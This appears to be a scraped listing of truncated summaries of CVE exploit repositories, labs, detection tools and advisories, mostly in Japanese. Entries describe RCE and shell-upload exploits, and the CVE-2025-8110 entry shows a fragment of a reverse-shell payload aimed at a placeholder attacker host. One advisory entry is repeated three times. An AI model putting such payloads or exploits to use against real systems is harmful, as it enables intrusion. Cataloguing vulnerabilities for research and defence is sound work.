Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly ミドルウェア API リモートコード実行 認証された RCE: Hoverfly ≤ 1.11.3 における OS コマンドインジェクション 脆弱性の概要 プロパティ| 値 ---|--- CVE ID| CVE-2025-54123 CVSS スコア| 9.8 — クリティカル CVSS ベクトル| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS コマンドインジェクション, CWE-20 不適切な入力検証 製品| Hoverfly — オープンソースの API...

pywintrace

ETW（Windows 事件跟踪） ETW 是一种跟踪机制，允许用户将事件记录到文件或缓冲区中。有关 ETW 的概述可参见此处。其基本架构包括提供程序（Provider）、控制器（Controller）和消费者（Consumer）。控制器定义并控制捕获会话，包括会话中包含哪些提供程序，以及启动和停止会话。提供程序使用 GUID（全局唯一标识符）指定，将事件记录到一系列缓冲区中。消费者从缓冲区或文件中接收消息，并按时间顺序处理它们。 该模块是一个完全基于 Python 的 ctypes 封装，围绕控制 ETW 会话和处理消息数据所需的 Win32 API...

CVE-2026-8181-Lab

CVE-2026-8181 — Burst Statistics 認証バイパスラボ CVE-2026-8181 のローカル専用 Docker ラボ。WordPress プラグイン Burst Statistics – Privacy-Friendly WordPress Analytics における認証バイパスです。 このラボでは、脆弱性のあるプラグインバージョンとパッチ適用済みバージョンを比較し、最小限の害の PoC を用いて、ユーザー作成、ファイルアップロード、WordPress 状態の変更を行わずにその違いを証明します。 概要 影響を受けるプラグイン: Burst Statisti...

CVE-2022-36804

CVE-2022-36804 - Atlassian Bitbucket Server and Data Center コマンドインジェクションの脆弱性 ⚠️ 教育および許可されたセキュリティ研究目的のみに使用してください オリジナルエクスプロイト作成者 オリジナルのPoC作者である Walnut Security Services Pvt. Ltd に非常に感謝します。 説明 Atlassian Bitbucket Server and Data Center のバージョン 7.0.0 から 7.6.17 未満、7.7.0 から 7.17.10 未満、7.18.0 から 7.21.4...

CheckPoint-CVE-Webscanner

CP VPN CVE Scanner Check Point CVE-2026-50751、CVE-2026-50752、CVE-2026-85102、CVE-2026-85103 に関連する設定マーカーをスキャンし、Check Point Management API コマンドを通じて選択した緩和策を適用するための、承認ベースのローカル Web アプリです。 このツールは Check Point によって作成またはサポートされたものではなく、自己責任で使用してください。緩和策は一時的なものです。Check Point は、Check Point Security Advisories ...

poc-2025-9074

CVE-2025-9074 | Docker API CVE-2025-9074 PoC Proof-Of-Concept CVE-2025-9074 のための高度なエクスプロイトフレームワークで、認証されていない Docker API エンドポイントを標的とし、統合されたインタラクティブコマンドシェルを備えています。 概要 このツールは、認証なしで公開された Docker API インスタンスのエクスプロイトを自動化し、ターゲットホスト上でのコンテナ作成とコマンド実行をフルに行うことを可能にします。スムーズなポストエクスプロイト操作のためのカスタムインタラクティブシェルを備えています。...

CVE-2026-13736

CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory = 1.0.0 — Divulgación no autenticada de PII de miembros a través de la API REST 📖 Resumen del Aviso CVE-2026-13736 es una vulnerabilidad de divulgación no autenticada de Información Personal Identificable PII de miembros que afect...

CVE-2026-44338-Lab

CVE-2026-44338 PraisonAI 認証バイパスラボ CVE-2026-44338 のローカル Docker ラボ。PraisonAI のレガシー Flask API サーバーにおける認証バイパスです。 このラボは、レガシー API ルートにおける未認証アクセス状態を実証します。完全な PraisonAI デプロイメントではなく、安全なルートレベルの再現を意図的に使用しているため、証明は認証の欠陥に焦点を当て、実際のエージェントワークフローや外部 LLM 呼び出しをトリガーしません。 概要 CVE-2026-44338 は PraisonAI バージョン = 2.5.6 お...

CVE-2020-0618_DETECTION

CVE-2020-0618 - Microsoft SQL Server Reporting Services SSRS RCE 検出PoC 📜 説明 これは、CVE-2020-0618 を検出するためのシンプルなPoCです。この脆弱性は、Microsoft SQL Server Reporting Services SSRS に影響を与えるリモートコード実行の脆弱性です。 この脆弱性は、LoadReport SOAP API における不適切なパス検証に起因します。脆弱な場合、SQL Server Reporting Services アカウントのコンテキストでリモートコード実行...

CVE-2022-41544

CVE-2022-41544 エクスプロイトスクリプト このリポジトリには、GetSimple CMS の CVE-2022-41544 脆弱性を悪用するスクリプトが含まれています。このスクリプトは、脆弱性の確認、API キーの漏洩、Cookie の設定、CSRF トークンの取得、シェルのアップロード、シェルの起動など、複数のステップを実行します。 変更点と改善点 1. 非推奨警告への対応 : スクリプトの機能に不要だった非推奨の telnetlib インポートを削除しました。 2. エラーハンドリングの強化 : HTTP リクエストと XML...

POC-CVE-2025-31931

Writeup ここで読む: https://tinyhack.com/2025/11/09/cve-2025-31931-arbitrary-shared-library-loading-in-intel-itt-api-on-android-affects-opencv-4-10/...

CVE-2026-27886-check

CVE-2026-27886 脆弱性評価ツール 完全なアカウント乗っ取りチェーンを実行することなく、Strapi インスタンスが CVE-2026-27886 に対して脆弱かどうかを安全に検出します。Bishop Fox ブログの完全な記事を参照してください。 説明 CVE-2026-27886 は、Strapi バージョン 4.0.0 から 5.36.1 における、認証されていないパラメータサニタイゼーションのバイパスです。これにより、リモートの未認証攻撃者がパブリック Content API を通じて管理者の秘密情報を漏洩させることができます。フレームワークの @strapi/uti...

CVE-2026-82379 Apache Roller: WSSE digest authentication headers can be replayed

Authentication Bypass by Capture-replay in Apache Roller 6.1.5 allows an attacker who captures a valid WSSE digest authentication header to replay it and gain the victim's AtomPub authority, because the authentication does not enforce nonce uniqueness or timestamp freshness. Only installations th...

CVE-2026-82379 Apache Roller: WSSE digest authentication headers can be replayed

Authentication Bypass by Capture-replay in Apache Roller 6.1.5 allows an attacker who captures a valid WSSE digest authentication header to replay it and gain the victim's AtomPub authority, because the authentication does not enforce nonce uniqueness or timestamp freshness. Only installations th...

CVE-2026-82379 Apache Roller: WSSE digest authentication headers can be replayed

Authentication Bypass by Capture-replay in Apache Roller 6.1.5 allows an attacker who captures a valid WSSE digest authentication header to replay it and gain the victim's AtomPub authority, because the authentication does not enforce nonce uniqueness or timestamp freshness. Only installations th...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanup the exploit repo after use python3 CVE-2025-8110.py --url http://target:...

EUVD-2026-88134

Missing Authorization in Apache Roller 6.1.5 allows an authenticated user to read, modify, or delete weblog content belonging to other weblogs through the legacy XML-RPC Blogger and MetaWeblog APIs, because the handlers authenticate the caller but do not verify the caller's permission on the webl...

dockerevil

dockerevil Docker テクノロジーにおける私のセキュリティ上の欠陥を保存するためのシンプルなリポジトリ 2016 - 2017 Docker API の権限昇格LPE/RPE オフラインサーバー/最小イメージ/TAR Dockerfile からのビルドによる権限昇格 Docker SUDO 権限昇格 PoC Nmap スクリプト 2019 CodeStudent1995 ベースのエクスプロイト OpenShift の権限昇格oc Docker で見つかったその他の素晴らしいセキュリティ上の欠陥: Docker API...

Important: Red Hat Security Advisory: cert-manager Operator for Red Hat OpenShift 1.20.1

cert-manager Operator for Red Hat OpenShift 1.20.1 The cert-manager Operator for Red Hat OpenShift builds on top of Kubernetes, introducing certificate authorities and certificates as first-class resource types in the Kubernetes API. This makes it possible to provide certificates-as-a-service to...

CVE-2026-89300

The WP Verify API WordPress plugin through 1.0.0 does not have any authorisation check in one of its REST routes, allowing unauthenticated users to insert arbitrary data into its own database table, as well as to make the site send templated verification emails to arbitrary email addresses. The...